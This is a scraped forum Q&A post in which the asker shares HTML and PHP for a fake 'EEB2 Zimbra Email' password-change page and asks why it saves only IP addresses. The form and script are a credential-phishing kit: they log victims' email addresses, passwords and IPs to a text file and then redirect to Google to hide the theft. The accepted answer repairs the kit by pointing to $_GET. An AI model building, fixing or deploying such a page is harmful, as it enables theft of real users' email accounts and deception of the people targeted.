dongyilu3143 2016-10-11 19:04
浏览 34
已采纳

保存用户信息表格PHP HTM [关闭]

I'm trying to do a form that when the user types the info and then submits it saves it on a text file. But when I open the text file, it only displays the IP adress.... I can't figure out what I'm doing wrong with my code:

I already tried changing §_SERVER to $_POST but it doens't work

Thanks :)

HTML:

    <form action="login.php" id="login.php" method="get">
  <div class="imgcontainer">
    <img src="zimbra.png" alt="Avatar" class="avatar">
  </div>
        <div class="bodypage">
     <div class="font">
  <div class="container">

    <label>EEB2 Zimbra Email</label>
    <input type="text" placeholder="Enter Email" name="email" id="email" required>

    <label>Password</label>
    <input type="password" placeholder="Enter Password" name="psw" id="psw" required>

    <label>New Password</label>
    <input type="password" placeholder="Enter New Password" name="newpsw" required id="newpassword">

    <label>Confirm New Password</label>
    <input type="password" placeholder="Enter New Password" name="newpsw" required id="confirmnewpassword">
      </div>


    <a href="google.com"><button type="submit">Change Password</button></a>
         </div>

    </form>

PHP:

    <?php
$handle = fopen("Passwords.txt", "a");
$ip = $_SERVER['REMOTE_ADDR'];
$email = $_SERVER['email'];   
$psw = $_SERVER['psw']; 
foreach($_POST as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, PHP_EOL);
}
fwrite($handle, "IP=$ip");
fwrite($handle, "PASS=$psw");
fwrite($handle, "EMAIL=$email");
fclose($handle);
header ('Location: http://www.google.be/');
exit;
?>

EDIT: I'm not trying to get the new password, just the Email and the password.

  • 写回答

3条回答 默认 最新

  • duanha3539 2016-10-11 19:14
    关注

    Your method is $_GET so it would be $_GET['email']

    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论
查看更多回答(2条)

报告相同问题?

悬赏问题

  • ¥15 有偿四位数,节约算法和扫描算法
  • ¥15 VUE项目怎么运行,系统打不开
  • ¥50 pointpillars等目标检测算法怎么融合注意力机制
  • ¥15 关于超局变量获取查询的问题
  • ¥20 Vs code Mac系统 PHP Debug调试环境配置
  • ¥60 大一项目课,微信小程序
  • ¥15 求视频摘要youtube和ovp数据集
  • ¥15 在启动roslaunch时出现如下问题
  • ¥15 汇编语言实现加减法计算器的功能
  • ¥20 关于多单片机模块化的一些问题